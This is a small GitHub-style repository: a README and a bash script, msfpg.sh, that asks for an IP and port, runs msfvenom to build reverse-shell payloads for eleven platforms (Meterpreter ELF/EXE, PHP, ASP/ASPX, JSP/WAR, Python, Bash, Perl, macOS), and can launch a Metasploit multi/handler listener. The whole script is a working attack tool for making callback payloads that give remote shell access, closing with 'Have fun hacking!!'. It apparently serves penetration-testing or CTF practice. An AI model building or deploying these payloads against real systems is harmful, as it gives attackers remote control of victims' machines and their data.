├── README.md └── msfpg.sh /README.md: -------------------------------------------------------------------------------- 1 | # MSF-Payload-Generator-Script 2 | Generates payloads using msfvenom and open multi handler listener 3 | 4 | ![1](https://user-images.githubusercontent.com/2913793/33593620-3d7ccb3e-d9a1-11e7-8e10-8e3404945d10.png) 5 | ![2](https://user-images.githubusercontent.com/2913793/33593621-3da1092c-d9a1-11e7-942a-dcf7247eeefc.png) 6 | ![3](https://user-images.githubusercontent.com/2913793/33593622-3dc6e4f8-d9a1-11e7-9330-1cd261be5b9e.png) 7 | ![4](https://user-images.githubusercontent.com/2913793/33593623-3defc9c2-d9a1-11e7-99a2-960ec70937e0.png) 8 | 9 | Credits: 10 | @__fazal 11 | @shkshafi 12 | 13 | HTB: 14 | @oschoudhury - for IP Addr show 15 | -------------------------------------------------------------------------------- /msfpg.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo " 3 | |\/|(_ |_ |_)_. | _ _. _| /__ _ ._ _ .__._|_ _ ._ 4 | | |__)| | (_|\/|(_)(_|(_| \_|(/_| |(/_|(_| |_(_)| 5 | / " 6 | 7 | echo -e "MSFVENOM Reverse Shell Meterpreter Payload List" 8 | printf "1. Linux .elf (Meterpreter)\t2.Windows .exe (Meterpreter)\n3.MAC .macho OS\t\t\t4.PHP (Meterpreter)\n5.ASP (Meterpreter)\t\t6.JSP\n7.WAR\t\t\t\t8.Python\n9.Bash .sh\t\t\t10.Perl\n11.ASPX (Meterpreter)\n\n" 9 | echo -e "Local IP addresses =>" 10 | echo -e $(ip -o addr show scope global | cut -d " " -f2,7) 11 | 12 | echo -e "\nEnter Local Host IP Address:" 13 | read lhost 14 | echo -e "Enter Local Host Port:" 15 | read lport 16 | echo -e "Enter Payload Number:" 17 | read num 18 | echo "Payload selected = "$num 19 | echo "Enter Shell Name(without extension):" 20 | read shname 21 | if [ $num == 1 ] 22 | then 23 | echo -e "Generating Linux Reverse Shell Payload (Meterpreter)" 24 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > $shname.elf && echo -e "\n"$shname".elf created. Have fun hacking!!\n" 25 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n):" 26 | read lisn 27 | case $lisn in 28 | [yY]) echo -e "opening multi handler meterpreter" 29 | msfconsole -q -x "use exploit/multi/handler;set payload linux/x86/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 30 | ;; 31 | [nN]) echo -e "bubye" 32 | exit 0 33 | ;; 34 | *) echo -e "unknown command" 35 | exit 0 36 | ;; 37 | esac 38 | 39 | elif [ $num == 2 ] 40 | then 41 | echo -e "Generating Windows Reverse Shell Payload (Meterpreter)" 42 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > $shname.exe && printf "\nshell created.Have fun hacking!!\n" 43 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 44 | read lisn 45 | case $lisn in 46 | [yY]) echo -e "opening multi handler meterpreter" 47 | msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 48 | ;; 49 | [nN]) echo -e "bubye" 50 | exit 0 51 | ;; 52 | *) echo -e "unknown command" 53 | exit 0 54 | ;; 55 | esac 56 | elif [ $num == 3 ] 57 | then 58 | echo -e "Generating MAC OS Reverse Shell Payload" 59 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f macho > $shname.macho && printf "\nshell created.Have fun hacking!!\n" 60 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 61 | read lisn 62 | case $lisn in 63 | [yY]) echo -e "opening multi handler" 64 | msfconsole -q -x "use exploit/multi/handler;set payload osx/x86/shell_reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 65 | ;; 66 | [nN]) echo -e "bubye" 67 | exit 0 68 | ;; 69 | *) echo -e "unknown command" 70 | exit 0 71 | ;; 72 | esac 73 | elif [ $num == 4 ] 74 | then 75 | echo -e "Generating PHP Reverse Shell Payload (Meterpreter)" 76 | msfvenom -p php/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > $shname.php && printf "\nshell created.Have fun hacking!!\n" 77 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 78 | read lisn 79 | case $lisn in 80 | [yY]) echo -e "opening multi handler meterpreter" 81 | msfconsole -q -x "use exploit/multi/handler;set payload php/meterpreter_reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 82 | ;; 83 | [nN]) echo -e "bubye" 84 | exit 0 85 | ;; 86 | *) echo -e "unknown command" 87 | exit 0 88 | ;; 89 | esac 90 | elif [ $num == 5 ] 91 | then 92 | echo -e "Generating ASP Reverse Shell Payload (Meterpreter)" 93 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f asp > $shname.asp && printf "\nshell created.Have fun hacking!!n" 94 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 95 | read lisn 96 | case $lisn in 97 | [yY]) echo -e "opening multi handler meterpreter" 98 | msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 99 | ;; 100 | [nN]) echo -e "bubye" 101 | exit 0 102 | ;; 103 | *) echo -e "unknown command" 104 | exit 0 105 | ;; 106 | esac 107 | elif [ $num == 6 ] 108 | then 109 | echo -e "Generating JSP Reverse Shell Payload" 110 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > $shname.jsp && printf "\nshell created.Have fun hacking!!\n" 111 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 112 | read lisn 113 | case $lisn in 114 | [yY]) echo -e "opening multi handler" 115 | msfconsole -q -x "use exploit/multi/handler;set payload java/jsp_shell_reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 116 | ;; 117 | [nN]) echo -e "bubye" 118 | exit 0 119 | ;; 120 | *) echo -e "unknown command" 121 | exit 0 122 | ;; 123 | esac 124 | elif [ $num == 7 ] 125 | then 126 | echo -e "Generating WAR Reverse Shell Payload" 127 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f war > $shname.war && printf "\nshell created.Have fun hacking!!\n" 128 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 129 | read lisn 130 | case $lisn in 131 | [yY]) echo -e "opening multi handler" 132 | msfconsole -q -x "use exploit/multi/handler;set payload java/jsp_shell_reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 133 | ;; 134 | [nN]) echo -e "bubye" 135 | exit 0 136 | ;; 137 | *) echo -e "unknown command" 138 | exit 0 139 | ;; 140 | esac 141 | elif [ $num == 8 ] 142 | then 143 | echo -e "Generating Python Reverse Shell Payload" 144 | msfvenom -p cmd/unix/reverse_python LHOST=$lhost LPORT=$lport -f raw > $shname.py && printf "\nshell created.Have fun hacking!!\n" 145 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 146 | read lisn 147 | case $lisn in 148 | [yY]) echo -e "opening multi handler" 149 | msfconsole -q -x "use exploit/multi/handler;set payload cmd/unix/reverse_python; set LHOST $lhost; set LPORT $lport; run" 150 | ;; 151 | [nN]) echo -e "bubye" 152 | exit 0 153 | ;; 154 | *) echo -e "unknown command" 155 | exit 0 156 | ;; 157 | esac 158 | elif [ $num == 9 ] 159 | then 160 | echo -e "Generating BASH Reverse Shell Payload" 161 | msfvenom -p cmd/unix/reverse_bash LHOST=$lhost LPORT=$lport -f raw > $shname.sh && printf "\$shell created.Have fun hacking!!\n" 162 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 163 | read lisn 164 | case $lisn in 165 | [yY]) echo -e "opening multi handler" 166 | msfconsole -q -x "use exploit/multi/handler;set payload cmd/unix/reverse_bash; set LHOST $lhost; set LPORT $lport; run" 167 | ;; 168 | [nN]) echo -e "bubye" 169 | exit 0 170 | ;; 171 | *) echo -e "unknown command" 172 | exit 0 173 | ;; 174 | esac 175 | elif [ $num == 10 ] 176 | then 177 | echo -e "Generating Perl Reverse Shell Payload" 178 | msfvenom -p cmd/unix/reverse_perl LHOST=$lhost LPORT=$lport -f raw > $shname.pl && printf "\$shell created.Have fun hacking!!\n" 179 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 180 | read lisn 181 | case $lisn in 182 | [yY]) echo -e "opening multi handler meterpreter" 183 | msfconsole -q -x "use exploit/multi/handler;set payload cmd/unix/reverse_perl; set LHOST $lhost; set LPORT $lport; run" 184 | ;; 185 | [nN]) echo -e "bubye" 186 | exit 0 187 | ;; 188 | *) echo -e "unknown command" 189 | exit 0 190 | ;; 191 | esac 192 | elif [ $num == 11 ] 193 | then 194 | echo -e "Generating ASPX Shell Payload (Meterpreter)" 195 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f aspx > $shname.aspx && printf "\$shell created.Have fun hacking!!\n" 196 | echo -e "Do you want to open Multi Handler Listener for the above generated payload? (y or n)" 197 | read lisn 198 | case $lisn in 199 | [yY]) echo -e "opening multi handler meterpreter" 200 | msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $lport; run" 201 | ;; 202 | [nN]) echo -e "bubye" 203 | exit 0 204 | ;; 205 | *) echo -e "unknown command" 206 | exit 0 207 | ;; 208 | esac 209 | fi 210 | 211 | echo "bye bye" 212 | --------------------------------------------------------------------------------